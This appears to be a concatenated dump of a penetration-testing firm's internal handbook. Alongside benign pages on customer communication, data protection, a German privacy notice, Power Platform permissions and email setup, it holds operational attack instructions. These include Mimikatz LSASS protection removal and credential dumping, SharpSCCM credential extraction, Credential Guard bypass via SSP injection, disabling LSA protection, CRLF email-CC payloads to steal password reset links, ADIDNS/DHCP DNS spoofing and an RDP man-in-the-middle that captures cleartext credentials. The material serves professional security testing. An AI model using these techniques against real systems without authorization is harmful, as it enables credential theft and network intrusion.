mimikatz # !+ mimikatz # !processprotect /process:lsass.exe /remove mimikatz # sekurlsa:: ``` After extraction, restore the configuration: ```powershell mimikatz # !processprotect /process:lsass.exe /add Process : lsass.exe PID 680 -> 3f/3f [2-0-6] mimikatz # !- [+] 'mimidrv' service stopped [+] 'mimidrv' service removed ``` Mimikatz cheatsheet: [Mimikatz cheat sheet](https://gist.github.com/insi2304/484a4e92941b437bad961fcacda82d49) ## SharpSCCM ### Network Access Account credentials In case you have computers which are not joined to a domain but still connect to SCCM, you may be able to find the used credentials in SCCM policy artifacts and dump/decrypt them using SharpSCCM. **Requirements**: * Machine with access to SCCM * Privileged account on that machine ```powershell # Dump Network Access Account credentials SharpSCCM.exe local naa -m wmi --no-banner # Ask SCCM for the policy containing the credentials SharpSCCM.exe local naa -m wmi --no-banner ``` By default, these credentials should only have read access to the SDP. However, they are often over-permissive and sometimes even have domain admin rights. ## Third-party password managers For credential extraction from enterprise password-manager / vault solutions running on a compromised host (e.g. Pleasant Password Server), see [Password managers](./password-managers). --- --- url: >- https://handbook.syslifters.com/pentesting-manual/active-directory/defense-evasion/credential-guard.md description: Tools and checklists for bypassing Credential Guard. --- # Credential Guard & RunAsPPL ## Registering a new Security Support Provider We can create a new SSP that hooks into LSA and communicates with LSAIso. Use [ly4k/PassTheChallenge](https://github.com/ly4k/PassTheChallenge/) to obtain NTLMv1 (`nthash`) or NTLMv2 (`challenge`) output from Credential Guard-isolated MSV via an injected SSP. 1. Dump LSASS with the modified version of [`pypykatz`](https://github.com/ly4k/Pypykatz) ```bash python3 -m pypykatz lsa minidump lsass.dmp -p msv ``` For each interesting `== MSV ==` block, record `Context Handle`, `Proxy Info`, and `Encrypted blob` (hex). Format addresses as `:` (same style as the tool examples). 2. Inject the SSP on the live target (still as SYSTEM / equivalent): ```powershell .\PassTheChallenge.exe inject # or: .\PassTheChallenge.exe inject 'C:\path\SecurityPackage.dll' ``` 3. Confirm the RPC server: ```powershell .\PassTheChallenge.exe ping ``` 4. Choose an output path * NTLMv1-oriented / "NTHASH" line (README `nthash`; optional 8-byte server challenge, else default `1122334455667788`): ```powershell .\PassTheChallenge.exe nthash : ``` * NTLMv2 response (README `challenge`; IFCR "pass the challenge" against a real server challenge). Supply the blob and a server-challenge string exactly as the tool expects: `:::` ```powershell .\PassTheChallenge.exe challenge : ::: ``` > Background: [Defeating Credential Guard](https://www.incendium.rocks/posts/Defeating-Windows-Credential-Guard/) and [IFCR Pass-the-Challenge](https://research.ifcr.dk/pass-the-challenge-defeating-windows-defender-credential-guard-31a892eee22). ## Disable LSA protection If Credential Guard is not running and you want to dump LSASS, [deactivate RunAsPPL](https://itm4n.github.io/lsass-runasppl/). If secure boot is enabled, you also have to disable LSA protection ([Microsoft docs](https://learn.microsoft.com/en-us/windows-server/security/credentials-protection-and-management/configuring-additional-lsa-protection#to-disable-lsa-protection)): 1. Check if RunAsPPL is active ```powershell Get-WinEvent -LogName System -MaxEvents 500 | Where-Object { $_.ProviderName -eq 'Microsoft-Windows-Wininit' -and $_.Id -eq 12 } | Select-Object -First 3 TimeCreated, Message | Format-List ``` 2. Suspend BitLocker ```powershell Suspend-BitLocker -MountPoint C: -RebootCount 2 ``` 3. Download [LsaPpl Opt-Out](https://www.microsoft.com/download/details.aspx?id=40897) for your architecture. 4. Mount the EFI partition and copy the opt-out package. ```sh mountvol Z: /s copy C:\LsaPplConfig.efi X:\EFI\Microsoft\Boot\LsaPplConfig.efi /Y bcdedit /create {b5ca5172-7d7b-4c9e-9d3b-3d4a4f7d2c10} /d "LsaPpl Opt-Out" /application osloader bcdedit /set {b5ca5172-7d7b-4c9e-9d3b-3d4a4f7d2c10} path "\EFI\Microsoft\Boot\LsaPplConfig.efi" bcdedit /set {b5ca5172-7d7b-4c9e-9d3b-3d4a4f7d2c10} device partition=Z: bcdedit /set {bootmgr} bootsequence {b5ca5172-7d7b-4c9e-9d3b-3d4a4f7d2c10} mountvol Z: /d ``` --- --- url: >- https://handbook.syslifters.com/pentesting-manual/web-applications/auth/crlf-email-cc.md description: >- Steal password reset links by injecting new headers (CC) via newline injection. --- # CRLF injection to add email CC Insert a line break and a `cc:` address into the password reset request's `email` parameter to steal the reset link: `email="victim-user@syslifters.com%0a%0dcc:attacker-user@syslifters.com"` `email="victim-user@syslifters.com%0Acc:attacker-user@syslifters.com"` `email="victim-user@syslifters.com%0A%20cc:attacker-user@syslifters.com"` CRLF wordlist: --- --- url: 'https://handbook.syslifters.com/pentesting-manual/customer-communication.md' description: >- How we gather context during an engagement and how we handle unclear business impact. --- # Customer communication To ensure that we have all the necessary information at the start of each pentest, we usually request (where appropriate) a short introduction to the application or infrastructure in advance or at the beginning of the tests. Furthermore, shortly after the halfway point of the testing period, we typically arrange a meeting where we can present interim results and ask any follow-up questions. This creates transparency regarding our activities, provides us with important insights into internal processes and business risks, and puts the vulnerabilities we find into the proper context. Our preferred and recommended means of communication is the Signal Messenger. Alternatively, we use email (optionally with S/MIME encryption), our self-hosted NextCloud Talk, Microsoft Teams, or are happy to use other communication channels that our clients have licensed and in use (e.g., Zoom, Google Meet, etc.). We strive to report only vulnerabilities that pose an actual risk. In some cases, however, it is difficult or impossible for us to assess the business risk of a vulnerability. This is particularly the case with complex transactions or with processes into which we have no insight (such as internal company approval processes). In these instances, we consult with our clients while the pentest is still ongoing. If doubts cannot be resolved, we generally document the potential vulnerabilities and state that the actual impact of the vulnerability remains unclear to us. --- --- url: 'https://handbook.syslifters.com/data-protection.md' description: >- How we handle customer data and protect evidence, notes, and reports during pentests. --- # Data protection and security We manage our notes and reports in our self-developed pentest reporting solution SysReptor (which we distribute internationally to pentesting teams; source-available on [GitHub](https://github.com/syslifters/sysreptor/)). The assignment of permissions to projects always follows the need-to-know principle. Stored data such as images, evidence, and database entries are encrypted on the server side (Encrypted Data at Rest; see also the [SysReptor documentation](https://docs.sysreptor.com/setup/configuration/#data-encryption-at-rest)), and transmission (Data in Transit) is likewise encrypted (via TLS/HTTPS). Three months after a (re-)test has been completed, the reports, notes, and evidence are encrypted and can only be restored using hardware tokens and a four-eyes principle (encryption utilizing Shamir's Secret Sharing algorithm; further information: ), until they are automatically deleted upon expiration of our retention periods. Communication between components of our internal networks is end-to-end encrypted (utilizing a Tailscale VPN; sometimes with multiple encryption layers). We provide each pentester with a smartphone featuring a dedicated business number as well as a computer. Private use is prohibited for security and data protection reasons. Members of project teams communicate via Signal Messenger using disappearing messages. We keep computers up to date using Microsoft Intune and Microsoft Defender for Endpoint. All web pentest activities are logged via the pentesters' local proxy servers ([PortSwigger Burp](https://portswigger.net/burp)) and deleted three months after completion of the pentests or re-tests. In addition, we have non-disclosure agreements in place with our employees. --- --- url: 'https://handbook.syslifters.com/de/datenschutz.md' description: Datenschutzerklärung für handbook.syslifters.com --- # Datenschutzerklärung Der Schutz deiner persönlichen Daten ist uns bei Syslifters ein besonderes Anliegen. Wir verarbeiten deine Daten daher ausschließlich auf Grundlage der gesetzlichen Bestimmungen (DSGVO, TKG 2003). In diesen Datenschutzinformationen informieren wir dich über die wichtigsten Aspekte der Datenverarbeitung im Rahmen unserer Website. Diese Datenschutzerklärung gilt für handbook.syslifters.com und ist ab 1. Juni 2022 gültig. ‍ ## Hosting Wir hosten die Website bei GitHub. Anbieter ist die GitHub B.V., Prins Bernhardplein 200, Amsterdam, 1097JB, Niederlande (nachfolgend: GitHub). Wenn du die Website besuchst, erfasst GitHub verschiedene Logfiles inklusive deiner IP-Adressen. Details entnehme bitte der [Datenschutzerklärung von GitHub](https://docs.github.com/en/site-policy/privacy-policies/github-privacy-statement). Die Verwendung von GitHub erfolgt auf Grundlage von Art. 6 Abs. 1 lit. f DSGVO. Wir haben ein berechtigtes Interesse an einer möglichst zuverlässigen Darstellung unserer Website. Sofern eine entsprechende Einwilligung abgefragt wurde, erfolgt die Verarbeitung ausschließlich auf Grundlage von Art. 6 Abs. 1 lit. a DSGVO, soweit die Einwilligung die Speicherung von Cookies oder den Zugriff auf Informationen im Endgerät des Nutzers (z. B. Device-Fingerprinting) umfasst. Die Einwilligung ist jederzeit widerrufbar. ‍ ## Deine Rechte Dir stehen grundsätzlich die Rechte auf Auskunft, Berichtigung, Löschung, Einschränkung, Datenübertragbarkeit, Widerruf und Widerspruch zu. Wenn du glaubst, dass die Verarbeitung deiner Daten gegen das Datenschutzrecht verstößt oder deiner datenschutzrechtlichen Ansprüche sonst in einer Weise verletzt worden sind, hast du das Recht eine Beschwerde bei der Aufsichtsbehörde einzureichen. In Österreich ist das die Datenschutzbehörde, E-Mail: dsb@dsb.gv.at, Web: https://www.dsb.gv.at/. ## Änderungen dieser Datenschutzerklärung Wir behalten uns das Recht vor, unsere Datenschutzerklärung bei Bedarf zu ändern, falls dies zum Beispiel aufgrund technischer Entwicklungen oder rechtlicher Änderungen notwendig sein sollte. Die jeweils aktuellste Version der Datenschutzerklärung findest du auf unserer Webseite veröffentlicht. Bitte stelle sicher, dass dir die aktuellste Version vorliegt. Du erreichst uns unter folgenden Kontaktdaten: Syslifters GmbH\ Eitzersthal 75, 2013 Göllersdorf\ E-Mail: hello@syslifters.com\ Telefon: +43 660 923 40 60 ‍**Stand:** 01. Juni 2022 --- --- url: 'https://handbook.syslifters.com/de/datensicherheit.md' description: >- Wie wir Kundendaten behandeln und während Pentests Evidenzen, Notizen und Berichte schützen. --- # Datensicherheit Wir verwalten unsere Notizen und Berichte in der von uns selbst entwickelten Pentest-Reporting-Lösung SysReptor (welche wir international an Pentesting-Teams vertreiben; source-available auf [GitHub](https://github.com/syslifters/sysreptor/)). Die Berechtigungsvergabe auf Projekte erfolgt stets nach dem Need-to-know-Prinzip. Gespeicherte Daten wie Bilder, Evidenzen, Datenbank-Einträge – sind serverseitig verschlüsselt (Encrypted Data at Rest; siehe auch [Dokumentation von SysReptor](https://docs.sysreptor.com/setup/configuration/#data-encryption-at-rest)) und die Übermittlung (Data in Transit) erfolgt ebenso verschlüsselt (mittels TLS/HTTPS). Drei Monate nachdem ein (Re-)Test abgeschlossen wurde, werden die Berichte, Notizen und Evidenzen verschlüsselt und können nur mittels Hardware-Tokens und eines Vier-Augen-Prinzips wiederhergestellt werden (Verschlüsselung mittels Shamir-Secret-Sharing-Algorithmus; weitere Informationen: ), bis sie nach Ablauf unserer Aufbewahrungsfristen automatisch gelöscht werden. Die Kommunikation zwischen Komponenten unserer internen Netzwerke erfolgt Ende-zu-Ende-verschlüsselt (mithilfe eines Tailscale-VPNs; teils mit mehreren Verschlüsselungs-Layern). Wir stellen jedem Pentester ein Smartphone mit eigener Dienstnummer und einen Computer zur Verfügung. Die Privatnutzung ist aus Sicherheits- und Datenschutzgründen untersagt. Mitglieder von Projektteams kommunizieren mit dem Signal-Messenger und verschwindenden Nachrichten. Computer halten wir über Microsoft Intune und Microsoft Defender for Endpoint auf dem aktuellsten Stand. Alle Web-Pentest-Aktivitäten werden über lokale Proxyserver der Pentester ([PortSwigger Burp](https://portswigger.net/burp)) protokolliert und drei Monate nach Abschluss der Pentests bzw. der Retests gelöscht. Zudem verfügen wir über Vertraulichkeitsvereinbarungen mit unseren Mitarbeitern. --- --- url: >- https://handbook.syslifters.com/pentesting-manual/power-platform/default-permissions-and-access.md description: >- How default environment permissions and Dataverse security roles typically work, plus governance pitfalls and recommendations. --- # Default permissions and access ## 1. Default permission model overview In Power Platform (and Dataverse), permissions are managed at two levels: * Tenant / environment level – who can create environments and access them. * Dataverse level – who can use or manage data inside the Dataverse database. Both are controlled primarily through Microsoft 365/Azure AD roles and Power Platform admin settings. ## 2. Environment creation permissions (by default) | User type | Can create environment? | Notes | | --- | --- | --- | | Global admin / Power Platform admin | Yes | Full control — can create and manage all environments. | | Dynamics 365 admin | Yes | Can create environments related to Dynamics apps. | | Regular (non-admin) user | Often yes | They can create developer environments for personal use (not production). | ### Clarifying "developer environments" * Every user with a Power Apps Developer Plan license (free for individuals) can create one personal developer environment. * It’s isolated, only accessible by that user, and automatically includes Dataverse. * Intended for learning, testing, and prototyping — not production use. ### Admin control Admins can disable environment creation for non-admin users: 1. Go to the Power Platform Admin Center: 2. Navigate to **Settings → Power Platform → Governance → Environment Creation**. 3. Toggle "Only specific admins can create environments". ## 3. Default Dataverse permissions By default, users don’t automatically get access to a Dataverse database, even if they can open the environment. Access to Dataverse data is managed through security roles inside Dataverse. | Role | Default availability | Permissions summary | | --- | --- | --- | | System Administrator | Assigned to environment admins | Full control of Dataverse and environment. | | System Customizer | For app makers | Can customize schema and manage app-related tables. | | Basic User | Assigned automatically to licensed users in environment | Read/write access to their own records only. | | Environment Maker | Not a Dataverse role — environment-wide | Can create apps, connections, and flows, but cannot access data unless also given Dataverse roles. | ## 4. "Environment maker" vs "Dataverse access" | Capability | Environment maker | Dataverse security role | | --- | --- | --- | | Create new Power Apps / flows | Yes | Not relevant | | Access or modify Dataverse data | No | Yes, based on role | | Create Dataverse tables | No | Yes, with System Customizer | | Share apps | Yes | Yes, if data permissions allow | ## 5. How permissions flow in practice ``` +------------------------------------------------+ | Tenant (Microsoft 365) | | - Global Admins | | - Users | +------------------------------------------------+ | +-------------------------------+ | Power Platform Environments | +-------------------------------+ | Environment Admins | | Environment Makers | +-------------------------------+ | +-------------------------------+ | Dataverse (within Environment)| +-------------------------------+ | Security Roles: | | - System Administrator | | - System Customizer | | - Basic User | +-------------------------------+ ``` ## 6. Common governance best practices * Restrict environment creation (only admins can create new environments). * Use managed security roles and apply least privilege. * Disable personal developer environments if not needed. * Monitor environment creation and usage in the Power Platform Admin Center. * Define a clear lifecycle with separate Dev/Test/Prod environments. --- --- url: >- https://handbook.syslifters.com/pentesting-manual/active-directory/lateral-movement/kerberos-delegation/delegations-overview.md description: Overview page for Kerberos delegation topics. --- # Delegations overview Edit the [source](https://syslifters.sysre.pt/projects/5086e509-4fca-4d99-aa2a-404feeda69a7/notes/7a7bf084-309a-4fa6-96a1-41bb0b586942) (internal link). --- --- url: >- https://handbook.syslifters.com/pentesting-manual/active-directory/lateral-movement/dns-manipulation.md description: Notes and tooling references for DNS manipulation and related coercion setups. --- # DNS manipulation ## Find dangerous DNS-Zones (PowerShell) The script scans the DNS zones in your Active Directory forest and reports which ones can be written to by broad, low-privilege groups like Authenticated Users, Everyone, or BUILTIN\Users. For each risky zone it prints the zone DN, which group has access, and what kind of write right they have (for example CreateChild on dnsNode, or GenericAll). ``` $broadSids = @{ 'S-1-1-0' = 'Everyone' 'S-1-5-7' = 'Anonymous Logon' 'S-1-5-11' = 'Authenticated Users' 'S-1-5-32-545' = 'BUILTIN\Users' 'S-1-5-32-546' = 'BUILTIN\Guests' } # dnsNode schemaIDGUID $dnsNodeGuid = [guid]'e0fa1e8c-9b45-11d0-afdd-00c04fd930c9' # Use DirectorySearcher with SecurityMasks so we get the DACL (but not SACL) function Find-DangerousDnsZones { param([string]$SearchBase) $de = New-Object System.DirectoryServices.DirectoryEntry("LDAP://$SearchBase") $ds = New-Object System.DirectoryServices.DirectorySearcher($de) $ds.Filter = '(objectCategory=dnsZone)' $ds.SearchScope = 'Subtree' $ds.PageSize = 1000 $ds.SecurityMasks = [System.DirectoryServices.SecurityMasks]::Dacl -bor ` [System.DirectoryServices.SecurityMasks]::Owner -bor ` [System.DirectoryServices.SecurityMasks]::Group $ds.PropertiesToLoad.AddRange(@('distinguishedName','name','nTSecurityDescriptor')) | Out-Null foreach ($r in $ds.FindAll()) { $dn = $r.Properties['distinguishedname'][0] $sdBytes = $r.Properties['ntsecuritydescriptor'][0] if (-not $sdBytes) { continue } $sd = New-Object System.DirectoryServices.ActiveDirectorySecurity $sd.SetSecurityDescriptorBinaryForm($sdBytes) foreach ($ace in $sd.Access) { $sid = try { $ace.IdentityReference.Translate([System.Security.Principal.SecurityIdentifier]).Value } catch { $ace.IdentityReference.Value } if (-not $broadSids.ContainsKey($sid)) { continue } if ($ace.AccessControlType -ne 'Allow') { continue } $rights = $ace.ActiveDirectoryRights.ToString() $interesting = ($rights -match 'CreateChild|GenericAll|GenericWrite|WriteDacl|WriteOwner|WriteProperty') if (-not $interesting) { continue } # Narrow by ObjectType (if ACE is object-specific) $matchesDnsNode = $true if ($ace.ObjectType -ne [guid]::Empty) { $matchesDnsNode = ($ace.ObjectType -eq $dnsNodeGuid) } if ($rights -match 'CreateChild' -and -not $matchesDnsNode) { continue } [pscustomobject]@{ Zone = $dn Principal = $broadSids[$sid] SID = $sid Rights = $rights ObjectType = if ($ace.ObjectType -eq [guid]::Empty) { '(all)' } else { $ace.ObjectType } Inherited = $ace.IsInherited } } } } ``` ### How to use it Edit the three DNs at the bottom so they match your forest (one entry per DNS partition: ForestDnsZones, DomainDnsZones for each domain, and the domain CN for legacy zones). Run the script in PowerShell as a normal domain user. No RSAT and no admin rights are needed. If a zone shows up in the results with Authenticated Users and CreateChild on dnsNode, any domain user can add new DNS records to that zone. This is the primitive used by tools like Powermad and Invoke-DNSUpdate to spoof names such as wpad, wds, or sccm. If no rows appear under a partition, that partition has no zones writable by broad groups from your current session. ``` # Run against each partition you know about 'DC=ForestDnsZones,DC=ad,DC=example,DC=com', 'DC=DomainDnsZones,DC=sub,DC=ad,DC=example,DC=com' | ForEach-Object { Write-Host "`n=== $_ ===" -ForegroundColor Cyan Find-DangerousDnsZones -SearchBase $_ | Format-Table -AutoSize } ``` ## Wildcard record ### Set DNS records with PowerMad Download PowerShell Module from GitHub: Import PowerShell Module: `Import-Module .\Powermad.ps1` #### Create ADIDNS entries via LDAP Creates new wildcard record to ADIDNS zone: `New-ADIDNSNode -Node *` Enable-ADIDNSNode turns a tombstoned node back into a valid DNS record. Example for enabling a wildcard record: `Enable-ADIDNSNode *` Disable ADIDNSNode tombstones a record and removes it from DNS in memory cache (Preferred to reduce interruptions): `Disable-ADIDNSNODE -Node *` Remove ADIDNSNode: `Remove-ADIDNSNode -Node *` #### Create DNS entry with dynamic updates Import PowerShell Module: `Import-Module .\Invoke-DNSUpdate.ps1` Add an A-Record: `Invoke-DNSUpdate -DNSType A -DNSName syslifters 192.168.10.10` Delete an A-Record: `Invoke-DNSUpdate -DNSType A -DNSName syslifters.example.com` ### Connecting to an ADIDNS zone in ADSI Edit and creating a record #### Install RSAT tool for ADSI edit ```Powershell Add-WindowsCapability –online –Name "Rsat.ActiveDirectory.DS-LDS.Tools~~~~0.0.1.0" ``` #### Open ADSI Edit Press Win+R, type `adsiedit.msc`, and press Enter. #### Connect directly to the zone 1. In the left pane, right-click ADSI Edit (the root) and choose Connect to. 2. Under Connection Point, select "Select or type a Distinguished Name or Naming Context" and paste the zone DN, for example: ``` DC=sub.ad.example.com,CN=MicrosoftDNS,DC=ForestDnsZones,DC=ad,DC=example,DC=com ``` 3. Under Computer, leave Default or specify a DC that holds the partition. 4. Click OK. The new connection appears in the tree and opens directly at the zone, bypassing the CN=MicrosoftDNS container. #### Create a new DNS record (dnsNode) 1. Expand the connection and right-click the zone node. 2. Choose New, then Object. 3. In the class list, select `dnsNode` and click Next. 4. For the `cn` attribute, enter the hostname you want to create (for example `syslifters`). Use `@` for the zone apex or `*` for a wildcard. 5. Click Next, then Finish. The node is created with no records yet. #### Add the actual DNS data The record data lives in the multi-valued `dnsRecord` attribute as a binary blob, which ADSI Edit cannot build for you in a useful way. You have two practical options. ##### Create dnsRecord HEX Value for ADSI Edit The following PowerShell script converts an IP address to a valid `A` record HEX value usable for the `dnsRecord` field in ADSI Edit. ``` function Convert-IpToAdsiDnsARecordHex { [CmdletBinding()] param( [Parameter(Mandatory, ValueFromPipeline)] [string]$IpAddress, # TTL stored as big-endian seconds in the blob [int]$TtlSeconds = 3600, # Rank/AdvRecordType: 240 = Zone (most common for normal records) [ValidateRange(0,255)] [int]$Rank = 240, # Version must be 5 [ValidateRange(0,255)] [int]$Version = 5, # 0 => static record (recommended when manually adding) [UInt32]$TimeStampHours = 0, # Usually 0 is fine for manual creation [UInt32]$UpdatedAtSerial = 0 ) process { $ip = [System.Net.IPAddress]::Parse($IpAddress) if ($ip.AddressFamily -ne [System.Net.Sockets.AddressFamily]::InterNetwork) { throw "Only IPv4 is supported for A records. Got: $IpAddress" } if ($TtlSeconds -lt 0 -or $TtlSeconds -gt [int]::MaxValue) { throw "TTL out of range: $TtlSeconds" } $ipBytes = $ip.GetAddressBytes() # network order $rdataLengthLE = [byte[]](0x04, 0x00) # 4 bytes for IPv4 $typeLE = [byte[]](0x01, 0x00) # A record = 0x0001 $verRank = [byte[]]($Version, $Rank) $flagsLE = [byte[]](0x00, 0x00) $serialLE = [BitConverter]::GetBytes([UInt32]$UpdatedAtSerial) # little-endian $ttlBE = [BitConverter]::GetBytes([UInt32]$TtlSeconds) [Array]::Reverse($ttlBE) # big-endian for TTL $unknown2 = [byte[]](0x00,0x00,0x00,0x00) $tsLE = [BitConverter]::GetBytes([UInt32]$TimeStampHours) # little-endian $blob = New-Object System.Collections.Generic.List[byte] $blob.AddRange($rdataLengthLE) $blob.AddRange($typeLE) $blob.AddRange($verRank) $blob.AddRange($flagsLE) $blob.AddRange($serialLE) $blob.AddRange($ttlBE) $blob.AddRange($unknown2) $blob.AddRange($tsLE) $blob.AddRange($ipBytes) ($blob.ToArray() | ForEach-Object { $_.ToString("X2") }) -join " " } } # Examples: "192.168.10.10","10.0.0.5" | Convert-IpToAdsiDnsARecordHex # Or with a custom TTL: Convert-IpToAdsiDnsARecordHex -IpAddress "192.168.10.10" -TtlSeconds 300 ``` The generated value can now be inserted in the previously generated dns node. ![Adding dnsRecord via ADSI Edit RSAT Tool](/images/ADSI-Edit-add-dnsRecord.png){width="auto"} ##### Option B: use PowerShell to set the record This is the simplest way to put a real A record on the node you just created: ```powershell Add-DnsServerResourceRecordA -ZoneName "sub.ad.example.com" ` -Name "syslifters" ` -IPv4Address "10.0.0.99" ` -ComputerName "dc.sub.ad.example.com" ``` Requires the DnsServer module (RSAT DNS tools) and network access to the DNS service on the DC. ##### Option C: use Powermad (no RSAT required) Powermad writes the `dnsRecord` blob directly over LDAP as any authenticated user: ```powershell Import-Module .\Powermad.ps1 New-ADIDNSNode -Node "syslifters" ` -Data "10.0.0.99" ` -Zone "sub.ad.example.com" ` -Partition ForestDnsZones ``` If the node already exists and is tombstoned, use `Enable-ADIDNSNode` to revive it before writing. #### Verify created entry From any domain host: ```powershell Resolve-DnsName "syslifters.sub.ad.example.at" ``` You should get back the IP you set. #### Clean up In ADSI Edit, right-click the node you created and choose Delete. Or with Powermad: ```powershell Remove-ADIDNSNode -Node "syslifters" -Zone "sub.ad.example.com" -Partition ForestDnsZones ``` ## DHCP as SYSTEM on DC [Spoofing DNS by abusing DHCP](https://www.akamai.com/blog/security-research/spoofing-dns-by-abusing-dhcp) [DDSpoof](https://github.com/akamai/DDSpoof) Known quirks: * Must be run in a venv * Use the Python interpreter from the venv * Does not work on macOS * Works with a VM host in bridged mode (e.g. Kali Linux) * TODO: test setup on Windows with Hyper-V and WSL Kali Linux * [How to bridge Windows Subsystem for Linux](https://blog.petrousoft.com/how-to-brigde-windows-subsystem-for-linux-0dc55a406a3b) ![](/images/ddspoof-write-dns-record.png){width="50%"} ![](/images/ddspoof-ping-result.png){width="40%"} ### Windows setup with WSL Kali Install Hyper-V with PowerShell: `Enable-WindowsOptionalFeature -Online -FeatureName Microsoft-Hyper-V -All` Add a virtual switch in Hyper-V: ![virtual switch named "wsl-nice" created in Hyper-V](/images/hyperv-virtual-switch-wsl.png){width="auto"} Create a `.wslconfig` file in `%USERPROFILE%` with content: ```powershell [wsl2] networkingMode=bridged vmSwitch=wsl-nic ``` Run WSL and check the config: ![IP-Address from local network](/images/wsl-bridged-network-ip.png){width="auto"} Install Python and venv tooling, then create a venv for ddspoof: ```sh sudo apt install python3 sudo apt install python3-venv python3 -m venv .ddspoof ``` Activate the venv: ```sh source .ddspoof/bin/activate ``` Clone the repo and install requirements: ```powershell git clone https://github.com/akamai/DDSpoof ┌──(.ddspoof)(mcgeady㉿SYSLIFTERS-MATT)-[~] └─$ pwd /home/mcgeady ┌──(.ddspoof)(mcgeady㉿SYSLIFTERS-MATT)-[~] └─$ .ddspoof/bin/python3 -m pip install -r DDSpoof/requirements.txt ``` Run `ddspoof.py` with the Python interpreter from the venv: ```sh sudo /home/mcgeady/.ddspoof/bin/python3 -m ddspoof.py --iface eth0 ``` ## RDP MitM attack on hosts without NLA Find hosts without NLA with NetExec, e.g. `nxc.exe rdp 10.1.1.0/24`. PyRDP repo: * `pipx install pyrdp-mitm[full]` Example setup: `pyrdp-mitm.exe --nla-redirection-host 10.3.15.1 --nla-redirection-port 3389 10.3.1.1` * `10.3.15.1` = host with RDP and NLA disabled * `10.3.1.1` = domain controller ![fetching User Credentials in Cleartext](/images/pyrdp-cleartext-credentials.png){width="auto"} In this case, the user logs in to the host where PyRDP is hosted, and the login is relayed to the host without NLA. ### DHCPv6 [mitm6](https://github.com/dirkjanm/mitm6) --- --- url: >- https://handbook.syslifters.com/pentesting-manual/web-applications/m3u8-playlist-download.md description: >- Practical ways to download HLS streams using browser extensions, yt-dlp, or ffmpeg. --- # Downloading m3u8 playlists Tools: * Chrome / Edge / Firefox browser extension “live stream downloader": * `yt-dlp` (CLI tool): * `ffmpeg` ## Example: yt-dlp Known quirks: * This path requires the `Referer` header to be set. * It can be different for other streams/playlists. * Tested on WSL Kali. ```bash yt-dlp \ --add-header "Referer: https://iframe.example.com/" \ "https://cdn.example.com/cb20398e-27a7-4033-81de-2fe97bbefbef/1440p/video.m3u8" ``` ## Example: ffmpeg More complex and less user-friendly. Also outputs `.mkv` (not `.mp4`) by default: ```bash ffmpeg \ -protocol_whitelist "file,http,https,tcp,tls,crypto" \ -headers "Referer: https://iframe.example.com/\r\n" \ -extension_picky 0 \ -f hls \ -allowed_extensions ALL \ -i "https://cdn.example.com/cb20398e-27a7-4033-81de-2fe97bbefbef/1440p/video.m3u8" \ -c copy \ output.mkv ``` ## Find request header information ![Request for .m3u8 in browser with request headers](/images/m3u8-request-headers.png){width="auto"} --- --- url: 'https://handbook.syslifters.com/during-pentests.md' description: >- How we work during a pentest, including communication, confidentiality, source IP, and retest policy. --- # During our pentests ::: info Our pentesting teams usually consist of two people. This enhances our creativity and brainstorming, reduces errors and misconceptions, and allows us to test different attack paths simultaneously. For projects with a larger timebox, we also deploy three to four pentesters, depending on the project requirements. For short projects (e.g., up to five person-days), pentesters also work alone. In these cases, the testers remain in close communication with colleagues to gather ideas and feedback. See also: [Working together](/pentesting-manual/working-together.md) in our pentesting manual. ::: * Our goal is to find technical risks and vulnerabilities in the target systems. * If you observe attacks during the test period, you can use our IP address to check whether these attacks originate from us. Our source IP address is `91.99.251.12`. * In order to use our time frame as efficiently as possible, we recommend a regular informal exchanges during testing and a spirit of partnership (such as providing test users and access, or - at our explicit request - the deactivation of certain security measures). * We will report serious vulnerabilities to you verbally as soon as possible and during the testing period. * We ask you not to fix vulnerabilities during the testing period without consulting us. This makes testing more difficult and reduces the efficiency and quality of our testing. * If you have purchased directly from us, **we will retest fixed vulnerabilities once within eight weeks free of charge**. This way you can later be sure that the fixes are effective. * Any internal information provided to us and our findings from the tests are confidential and will of course not be passed on to third parties. --- --- url: 'https://handbook.syslifters.com/organization/human-resources/email-setup.md' description: >- Configure email encryption (S/MIME) and legally required signatures/footers for eM Client, Nextcloud Mail, and Thunderbird. --- # Email setup ## Email encryption Emails are encrypted using S/MIME at the email gateway. Outgoing emails are signed and encrypted if the public key of the recipient is present. You cannot control signing and encryption from your email client. Test (e.g. with your colleagues) if email encryption and signing works. It should work out of the box if we have acquired a certificate for your user account. ## Email footers Email footers are [legally required](https://www.wko.at/internetrecht/das-korrekte-e-mail-impressum).\ The first email or the first reply to an email should include your email footer. This makes your contact details available to the recipients.\ Follow-up emails don't have to include an email signature. ### eM Client 1. Go to "Settings" 2. Go to "Mail" Menu 3. Go to "Templates and Signatures" 4. Import Sample Signatures * Sample email footers: Syslifters.html * Sample email footers with SysReptor: SysReptor.html * Sample email footers with SysLeaks: SysLeaks.html 5. Update the email footer/signature with your data * Your job title could be something like... `Security Penetration Tester`, `Pentester`, etc. ### eM Client (mobile) 1. QR Export your email footer in eM Client desktop 2. Go to "Settings" in eM Client on your phone 3. Click "import/export" 4. Scan the QR Code ### NextCloud You can update your email footer in the [NextCloud mail app](https://cloud.syslifters.com/apps/mail/) via "Account Settings"/"Signatures".\ Copy and paste the signature below and update the data and the links. > **ARON MOLNAR** > CO-FOUNDER > +43 660 923 40 60 > aron@syslifters.com > [More about me...](https://handbook.syslifters.com/about-us/aron)[www.syslifters.com](https://www.syslifters.com) ### Thunderbird Import the sample signatures from [eM Client](#em-client). ## Setting Nextcloud Talk as online Meeting provider This works in eM Client only. 1. Hamburger Menu on the top left: `Settings -> Online Meetings -> Add` 2. Select "Nextcloud Talk" and when prompted for the URL enter: `https://cloud.syslifters.com`. Do **not** add a trailing slash, as the meeting URLs will not work! 3. Create a new app password in Nextcloud `Settings -> Security` and paste your credentials into eM Client. --- --- url: >- https://handbook.syslifters.com/pentesting-manual/power-platform/environment-variables-stored-as-plain-text.md description: >- Avoid storing secrets in text environment variables; use secret variables backed by Azure Key Vault. --- # Environment variables stored as plain text ## Manually create a secret environment variable in a solution 1. Sign in to Power Apps (`make.powerapps.com`), and then on the left pane select **Solutions**. If the item isn’t in the side panel pane, select **… More** and then select the item you want. 2. Open the solution you want or create a new one. 3. On the command bar, select **New > More**, and then select **Environment variable**. 4. On the right pane, complete the following columns, and then select Save: * **Display name**: Enter a name for the environment variable * **Name**: The unique name is automatically generated from the **Display name**, but you can change it. * **Data type**: set to **Secret**. * Additional information to set up and configure Azure Key Vault is needed to allow Power Platform to access the secret. Do **not** use **Text** data type to store credentials or connection strings as these values could be read (and therefore leaked) by default users. --- --- url: >- 